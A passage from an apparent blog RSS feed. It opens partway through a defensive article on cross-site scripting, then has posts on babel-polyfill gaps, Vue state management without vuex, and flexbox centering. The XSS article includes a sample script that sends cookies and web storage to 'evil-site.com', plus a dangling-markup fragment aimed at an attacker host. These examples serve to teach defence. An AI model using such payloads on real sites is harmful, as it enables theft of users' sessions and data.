<pre class="hljs"><code>&lt;div&gt;<span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">echo</span> $comment-&gt;body; <span class="hljs-meta">?&gt;</span>&lt;/div&gt;
</code></pre>
<p>and the attacker filling out the comment form with this body:</p>
<pre class="hljs"><code>&lt;script&gt;
  fetch(<span class="hljs-string">'https://evil-site.com'</span>, {
    <span class="hljs-comment">// ...</span>
    <span class="hljs-attr">body</span>: <span class="hljs-built_in">JSON</span>.stringify({
      <span class="hljs-attr">html</span>: <span class="hljs-built_in">document</span>.querySelector(<span class="hljs-string">'html'</span>).innerHTML,
      <span class="hljs-attr">cookies</span>: <span class="hljs-built_in">document</span>.cookie,
      localStorage,
      sessionStorage
    })
  })
&lt;<span class="hljs-regexp">/script&gt;
</span></code></pre>
<p>What makes XSS attacks so dangerous is that they don't require an attacker tricking people to go to their phishing site. It works simply by users visiting vulnerable sites that they trust.</p>
<p>What makes these attacks even more dangerous is that if only one page is vulnerable to XSS attacks, an attacker can fetch any page or API request from the site, as the victim, and bypass CSRF tokens, <a href="https://michaelzanggl.com/articles/web-security-cookies/">cookie protections</a> (they won't need to know your cookie), CORS, and the SameSite cookie attribute.</p>
<p>We first look at what you can do to protect your site from such attacks, and then at the different kinds of XSS attacks.</p>
<h2 id="how-to-protect-your-site%3F">How to protect your site?</h2>
<p>Regardless of the solution, always keep in mind to never trust user input, as well as data you receive from third-party APIs.</p>
<h3 id="escaping-untrusted-input">Escaping untrusted input</h3>
<p>The best way to handle XSS attacks is to always escape user input when displaying it in the DOM.</p>
<p>Here's how you can implement this yourself on the client or in Node.js: <a href="https://stackoverflow.com/questions/6234773/can-i-escape-html-special-chars-in-javascript/6234804#6234804">https://stackoverflow.com/questions/6234773/can-i-escape-html-special-chars-in-javascript/6234804#6234804</a></p>
<p>But frameworks usually take care of this for you, here are a few examples:</p>
<h4 id="vueblade">Vue/Blade</h4>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ untrustedInput }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h4 id="react">React</h4>
<pre class="hljs"><code>&lt;div&gt;{ untrustedInput }&lt;<span class="hljs-regexp">/div&gt;
</span></code></pre>
<x-ad />
<h3 id="content-security-policy-csp">Content Security Policy (CSP)</h3>
<p>CSP is a header that allows developers to restrict valid sources of executable scripts, AJAX requests, images, fonts, stylesheets, form actions, etc.</p>
<h4 id="examples">Examples</h4>
<h5 id="only-allow-scripts-from-your-own-site%2C-block-javascript-urls%2C-inline-event-handlers%2C-inline-scripts-and-inline-styles">only allow scripts from your own site, block <code>javascript:</code> URLs, inline event handlers, inline scripts and inline styles</h5>
<pre class="hljs"><code>Content-Security-Policy: default-src <span class="hljs-string">'self'</span>
</code></pre>
<h5 id="only-allow-ajax-requests-to-your-own-site-and-api.example.com">only allow AJAX requests to your own site and <a href="http://api.example.com">api.example.com</a></h5>
<pre class="hljs"><code>Content-Security-Policy: connect-src <span class="hljs-string">'self'</span> https://api.example.com;
</code></pre>
<h5 id="allow-images-from-anywhere%2C-audiovideo-from-media1.com-and-any-subdomains-from-media2.com%2C-and-scripts-from-userscripts.example.com">allow images from anywhere, audio/video from <a href="http://media1.com">media1.com</a> and any subdomains from <a href="http://media2.com">media2.com</a>, and scripts from <a href="http://userscripts.example.com">userscripts.example.com</a></h5>
<pre class="hljs"><code>Content-Security-Policy: default-src <span class="hljs-string">'self'</span>; img-src *; media-src media1.com *.media2.com; script-src userscripts.example.com
</code></pre>
<p>These are just some examples, CSP has a lot of other features like sending reports on violations. Be sure to read more on it <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">here</a>.</p>
<p>It's important <strong>to not only</strong> rely on CSPs. This is the last resort in case your site is indeed vulnerable to XSS attacks. Please still follow the other recommendations.</p>
<h2 id="different-kinds-of-attacks">Different kinds of attacks</h2>
<h3 id="reflected-xss">Reflected XSS</h3>
<p>This is when text from the URL is added to the DOM without escaping the input.</p>
<p>Imagine a website like &quot;<a href="http://insecure-website.com/status?message=All+is+well">insecure-website.com/status?message=All+is+well</a>&quot; ouputting this HTML<code>&lt;div&gt;Status: All is well.&lt;/div&gt;</code>.</p>
<p>This opens the door for exploits in which an attacker changes &quot;All+is+well&quot; in the URL to a malicious script and then sends this link around the internet.</p>
<h3 id="stored-xss">Stored XSS</h3>
<p>It's basically the same as with Reflected XSS, only that this time the text comes from the database, not from the URL. The classic example here is a chat, forum, or comments section.</p>
<p>This is a lot more common than Reflected XSS and also more dangerous because the attacker doesn't have to send around their malicious link.</p>
<h3 id="dom-based-xss">DOM-based XSS</h3>
<p>Again very similar, only that this time the unsafe input comes from an API request (think SPAs).</p>
<h3 id="dangling-markup-injection">Dangling markup injection</h3>
<p>If a site allows for XSS attacks, but has CSPs in place, the page is still vulnerable in places like this:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"input"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"&lt;controllable data&gt;"</span>&gt;</span>
</code></pre>
<p>If the attacker starts <code>&lt;controllable data&gt;</code> with <code>&quot;&gt;</code>, they basically close the input element. This can be followed by <code>&lt;img src='//attacker-website.com?</code>.</p>
<p>Notice how that <code>src</code> is using a single quotation mark that is not being closed. The value for the src attribute is now left &quot;dangling&quot;, and everything up until the next single quotation mark will be considered the &quot;src&quot; and will be sent to the attacker.</p>
<p>If the site has a strong CSP that blocks outgoing image requests, then the attacker could still try it with an anchor-tag, although that requires the victim to actually click on the link.</p>
<p>For more information about this, check here: <a href="https://portswigger.net/web-security/cross-site-scripting/dangling-markup">https://portswigger.net/web-security/cross-site-scripting/dangling-markup</a></p>
<h3 id="self-xss">Self-XSS</h3>
<p>This is more of a social engineering attack in which the attacker convinces someone to execute malicious JavaScript themselves either through</p>
<ul>
<li>the dev tools (That's why popular sites give out a big warning when you open the console on their site)</li>
<li>the URL (try executing <code>javascript:alert(document.body.innerHTML)</code> in the navigation bar to get an alert of the current site's HTML for example)</li>
</ul>
<h3 id="rel%3Dnoopener-attribute">rel=&quot;noopener&quot; attribute</h3>
<p>When you have anchors opening links in a new tab, it used to be possible for the opened window to access the original window using <code>window.opener</code>. While <code>window.opener</code> can't read things like <code>document.body</code> luckily, attackers can use <code>window.opener.location.replace('...')</code> for example to replace the original page with a phishing site. <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#browser_compatibility">In newer browsers</a>, &quot;noopener&quot; is implied implicitly if not provided.</p>
<p>XSS comes into play here because an attacker could create an anchor going to their phishing site and explicitly set &quot;rel&quot; to &quot;opener&quot;.</p>
<p>To be completely safe from this, set the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy">COOP header</a> to same-origin.</p>
<h3 id="where-client-side-frameworks-like-vue-or-react-do-not-protect-you">Where client-side frameworks like Vue or React do not protect you</h3>
<h4 id="from-links">From Links</h4>
<p>Remember the trick before to alert the contents of &quot;document.body&quot;? The same (executing JavaScript) can be done on anchor tags, and escaping HTML does not help in this case:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"javascript:console.log('hey hey')"</span>&gt;</span>click me<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
</code></pre>
<p>When such a link is detected in React, it throws a warning in the console. Vue gives it a mention in <a href="https://vuejs.org/v2/guide/security.html#Injecting-URLs">their docs</a>. But none of the two prevents this from happening as of the time of writing.</p>
<p>So always make sure to validate user-inputted URLs on the server before saving them in the database. CSPs also help here like covered above already.</p>
<h4 id="from-things-like-markdown">From things like markdown</h4>
<p>This is not an issue with React/Vue per se, it's more a knowledge gap in my opinion. When you want to render markdown in the DOM, you first have to convert it to HTML. That means you need to inject the converted HTML into the DOM.
The problem stems from the fact that markdown is a superset of HTML, meaning it allows all HTML.</p>
<p>This poses an interesting challenge. You don't want to allow any HTML from the user, but at the same time, you can't just escape the user-inputted markdown before converting it to HTML, as it would break certain markdown like quoting. In many cases stripping out HTML tags and escaping HTML inside backticks will do the job.</p>
<hr>
<p>XSS is definitely an interesting topic. Alongside SQL injections, it's what my very first website, years ago, initially suffered from. That's what got me interested in web security. While I haven't written raw PHP websites in many years, I still very well remember <code>htmlentities($untrustedValue, ENT_QUOTES);</code>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What babel-polyfill doesn't include]]></title>
            <link>https://michaelzanggl.com/articles/what-babel-polyfill-doesnt-include/</link>
            <guid>what-babel-polyfill-doesnt-include</guid>
            <description><![CDATA[babel-polyfill is super easy to use. Just install it from npm and import it in your app. Now you are ready to go and write next level JavaScript without having to worry about browser support, or are you...]]></description>
            <content:encoded><![CDATA[<p><a href="https://babeljs.io/docs/en/babel-polyfill">babel polyfill</a> is commonly used to emulate a full ES2015+ environment and is extremely simple to use. You just install it via npm or yarn and import it in your app. Now you are ready to go and write next level JavaScript without having to worry about browser support, or are you...?</p>
<p>Turns out there is a variety of things that babel-polyfill does not include.</p>
<p>It's important to know that babel-polyfill is using <a href="https://github.com/zloirock/core-js">core-js</a> under the hood.</p>
<p>List of missing polyfills:</p>
<ul>
<li><code>JSON</code> is missing only in IE7</li>
<li><code>String#normalize</code> is missing due to its rare usage and large size. Alternative polyfill: <a href="https://github.com/walling/unorm/">unorm</a></li>
<li><code>Proxy</code> can't be polyfilled</li>
<li><code>window.fetch</code> is not part of ECMAScript, but a web standard. While core-js does include some web standards, <code>fetch</code> is currently not one of them. Alternative polyfill: <a href="https://github.com/github/fetch">github fetch</a></li>
<li><code>Intl</code> is missing because of its large size. Alternative polyfill: <a href="https://github.com/andyearnshaw/Intl.js/">Intl.js</a></li>
<li><a href="https://github.com/zloirock/core-js/issues/317#issuecomment-314691446">DOM polyfills</a>. For example <code>element.closest</code>. What is included however are <a href="https://github.com/zloirock/core-js#iterable-dom-collections">iterable DOM collections</a></li>
<li><code>&lt;script type=&quot;module&quot;&gt;</code>. Instead, use bundlers like <code>webpack</code> or <code>rollup</code></li>
</ul>
<p>Also be aware of</p>
<ul>
<li><a href="https://github.com/zloirock/core-js#caveats-when-using-symbol-polyfill">caveats when using Symbol polyfill</a></li>
<li><a href="https://github.com/zloirock/core-js#caveats-when-using-symbol-polyfill">caveats when using typed arrays polyfill</a></li>
<li><a href="https://github.com/zloirock/core-js#caveats-when-using-symbol-polyfill">caveats when using URL and URLSearchParams</a></li>
</ul>
<x-ad />
<p>If you know of anything else that is not included please leave a comment and I will add it to the list.</p>
<p>For a list of supported(tested) JavaScript engines please refer to <a href="https://github.com/zloirock/core-js#supported-engines">https://github.com/zloirock/core-js#supported-engines</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You may not need vuex. Here are some alternatives]]></title>
            <link>https://michaelzanggl.com/articles/you-may-not-need-vuex/</link>
            <guid>you-may-not-need-vuex</guid>
            <description><![CDATA[Let's take a look at two approaches you can take before reaching for vuex!]]></description>
            <content:encoded><![CDATA[<p>Let's take a look at two approaches you can take before reaching for vuex!</p>
<h2 id="first-approach-for-simpler-websites">First approach (for simpler websites)</h2>
<p>Let's consider a typical SPA that is generally separated by page (vue-router) much like a traditional website.</p>
<p>Your application probably has the following three types of state:</p>
<ol>
<li>Local state exclusive to a component</li>
<li>Global state that needs to be shared across routes</li>
<li>Shared state within a route</li>
</ol>
<p>The first type of state is very good for, well, local state. Maybe it is exclusive to this component or only goes one or two layers deep.</p>
<p>As for the second type of state, Vue allows you to define data, methods and everything else you might need in the Vue root.</p>
<pre class="hljs"><code><span class="hljs-keyword">new</span> Vue({
  <span class="hljs-attr">el</span>: <span class="hljs-string">'#app'</span>,
  router,
  <span class="hljs-attr">components</span>: { App },
  <span class="hljs-attr">template</span>: <span class="hljs-string">'&lt;App/&gt;'</span>,
  data() {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">isLoggedIn</span>: <span class="hljs-literal">false</span>
    }
  }
})
</code></pre>
<p>Within each component you can then access is via <code>$root</code>, e.g. <code>this.$root.isLoggedIn</code>.
This is very useful for things like the user instance.</p>
<p>But what about the third type of state? Shared state within a route. Without state management you are probably going to pass down props multiple components deep. And you know what, in many cases, that's just fine! But here's a little trick if you really want to share state within a route.</p>
<p>It turns out Vue actually allows you to access all the state and methods from the route root within any of its subcomponents.</p>
<p>Say the route root exposes the data <code>{ isOpen: false }</code>.</p>
<p>Within any subcomponent you can access this property like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">this</span>.$route.matched[<span class="hljs-number">0</span>].instances.default.isOpen
</code></pre>
<p>Okay, that's very very verbose! But it works!</p>
<p>Let me introduce to you a small <a href="https://github.com/MZanggl/vue-route-root">plugin</a> I wrote that turns the above into:</p>
<pre class="hljs"><code><span class="hljs-keyword">this</span>.$routeRoot.isOpen
</code></pre>
<p>I haven't actually used this in any projects, but I love its simplicity.</p>
<ul>
<li>vuex redefines the way you write state, methods, computed fields, everything really. With this approach, you can leverage your existing knowledge. You still write the state inside &quot;data&quot;, you still have your methods, computed fields, literally nothing changes. There is only one paradigm.</li>
<li>with vuex, all your state is global. Sure you can define modules, but you still manually have to select from which module to get your state even when you are already inside a specific route. When I am on the settings page, I don't care what state was last used on the profile page, etc.</li>
</ul>
<x-ad />
<hr>
<p>There is also a second way you can use this plugin. Instead of registering it, you may map properties from the two roots to your local component if you prefer that.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> { mapRoot } <span class="hljs-keyword">from</span> <span class="hljs-string">'vue-route-root'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-comment">// first one from $root, second and third one one from route root</span>
  <span class="hljs-attr">computed</span>: mapRoot([<span class="hljs-string">'user'</span>, <span class="hljs-string">'isOpen'</span>, <span class="hljs-string">'setOpen'</span>]),
}
</code></pre>
<p>This has the benefit that you can't just mutate root state from within a child. If you want to mutate state, you need to call a method. This forces you to place all state mutations in the root and makes sure they are not scattered across the application.</p>
<p><strong>Cautions with this approach</strong></p>
<p>The vue documentation does not recommend the usage of $root because it &quot;scales poorly&quot;. This is very much true if you are not careful. But think about it, $root and $routeRoot are pretty much structure-less. Guess what happens when you are not careful with a very very structured tool like vuex! If you want to change such an implementation, you are required to first destructure it before you can change it.</p>
<p>But I wholeheartedly agree that this approach has its limits.
For example, it forces you to have all logic inside the root components, making them rather big. You also have to be careful to never ever access <code>$routeRoot</code> within a dumb / reusable component.</p>
<h2 id="second-approach">Second approach</h2>
<p>Say your application is a little more complex or follows a different approach.</p>
<p>There is another plugin I created which takes more the form of vuex and which doesn't make use of Vue's $root or route roots. I call it <a href="https://github.com/MZanggl/vue-blick">vue-blick</a>.</p>
<p>First, create your store in a simple .js file</p>
<pre class="hljs"><code><span class="hljs-comment">// store/alert-store.js</span>

<span class="hljs-keyword">import</span> { create } <span class="hljs-keyword">from</span> <span class="hljs-string">'vue-blick'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> create({
  <span class="hljs-attr">message</span>: <span class="hljs-string">'Hello'</span>, <span class="hljs-comment">// state</span>

  <span class="hljs-keyword">get</span> reversedMessage() { <span class="hljs-comment">// computed fields/getters</span>
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.message.split(<span class="hljs-string">''</span>).reverse().join(<span class="hljs-string">''</span>)
  },

  <span class="hljs-keyword">async</span> setMessage(message) { <span class="hljs-comment">// methods/actions</span>
    <span class="hljs-comment">// await fetch(...)</span>
    <span class="hljs-keyword">this</span>.message = message
  }
})
</code></pre>
<p>And then you can use it in any component like this</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>alert: {{ message }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>reversed alert: {{ reversedMessage }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"setMessage('World')"</span>&gt;</span>alert!<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> alertStore <span class="hljs-keyword">from</span> <span class="hljs-string">'./store/alert-store'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">mixins</span>: [ alertStore.map(<span class="hljs-string">'message'</span>, <span class="hljs-string">'reversedMessage'</span>, <span class="hljs-string">'setMessage'</span>) ]
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>What I like about this approach:</p>
<ul>
<li>while it is closer to more traditional state management, there are zero terminologies like actions, getters, mutations, reducers, selectors, dispatch, commit, action types, reduce reducers, etc.</li>
<li>You still access properties within a computed field or method using <code>this</code>, exactly the same as in a Vue component</li>
<li><code>mixins: [ userStore.map('message', 'reversedMessage', 'setMessage') ]</code>: Only one method to map state, getters and methods. And you map it in one place only... <strong>Without any destructuring!</strong></li>
</ul>
<hr>
<p>Just like the vuex documentation states: You should weigh the trade-offs and make decisions that fit the development needs of your app. Maybe instead, you can let the server hold such state, like with <a href="https://inertiajs.com/">inertia.js</a>. Or Maybe vuex is exactly what you need!</p>
<hr>
<p>If you like this sort of article, make sure to also check out my article on <a href="/articles/vue-cleaning-up-components">simplifying vue components</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your flexbox is actually not centered]]></title>
            <link>https://michaelzanggl.com/articles/your-flexbox-isnt-centered/</link>
            <guid>your-flexbox-isnt-centered</guid>
            <description><![CDATA[CSS line-height !== leading]]></description>
            <content:encoded><![CDATA[<p>Isn't Flexbox amazing? All these years where we had to fight with floats, try <code>vertical-align: middle</code> only to get disappointed it doesn't work and so many other hacks, then flexbox comes and saves the day.</p>
<p><img src="https://i.redd.it/i6st3acsfqk21.jpg" alt=""></p>
<p>Centering an element is as simple as</p>
<pre class="hljs"><code><span class="hljs-selector-class">.hey</span> {
  <span class="hljs-attribute">display</span>: flex;
  <span class="hljs-attribute">align-items</span>: center;
  <span class="hljs-attribute">justify-content</span>: center;
}
</code></pre>
<p>Awesome! What a shame if someone would come and try to mess this up right now.</p>
<p><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTqHWyHJH2pIBq6-6I_qSbbQUbAXlM6CzjwBw&amp;usqp=CAU" alt=""></p>
<p>Have you ever realized that when you have two divs (or other elements) below each other, they stick together pixel perfect? But if you have two lines of text, there is actually a little space between them to make it readable. As an example of this, just take a look at this very text right now.</p>
<p>So what's the issue? Well, have a look at this: <a href="https://codesandbox.io/s/your-flexbox-is-not-centered-23177">https://codesandbox.io/s/your-flexbox-is-not-centered-23177</a></p>
<p>Notice how the left box is not centered correctly. It uses flexbox and has both align-items and justify-content set to center, so what's going on?</p>
<p>If you highlight the text element using the devtools you will see how it has extra space above and below, without any margins or padding. This is line-height. The line-height is usually around 1.5 on most websites, which means it's 1.5 times the font-size. Naturally, this will ruin the vertical spacing due to the additional space the text element now takes up.</p>
<p>The second element in the example has the spacing fixed by explicitly setting the line-height to 1 for this text element.</p>
<p>Now given all of this you might have already realized that this has actually nothing to do with flexbox.</p>
<p>You get the same issues if the box just had <code>padding: 10px</code> for example.
It's also not limited to the combination of image + text. You will run into these alignment issues whenever two pieces of text (in a box, like in the example) have different font sizes. This is because, as shown above, line-height is calculated based on the font-size.</p>
<p>An example for this are the listings on <a href="https://dev.to">dev.to</a> on the right side:</p>
<p><img src="https://dev-to-uploads.s3.amazonaws.com/i/fd2403t9by41ixunf55q.png" alt="dev.to example"></p>
<p>But you can probably find similar examples on most websites out there.</p>
<x-ad />
<p>Now, above we fixed the example by explicitly setting the line-height to 1. The example was super basic, so this worked just fine, but the technique will fall short once you deal with multi-line text. It would become unreadable.</p>
<p>There are some methods out there that add a negative top margin to the element to make it <a href="https://css-tricks.com/how-to-tame-line-height-in-css/#getting-css-to-treat-line-height-like-leading">behave like leading in typography</a>.</p>
<p>On top of that, there is actually a proposal to standardize this in CSS. Take a look <a href="https://github.com/w3c/csswg-drafts/issues/3240">here</a>.</p>
<p>It surprises me that with all the advancements in web development we have seen over the years, this hasn't made it in yet.</p>
]]></content:encoded>
        </item>
    </channel>
</rss>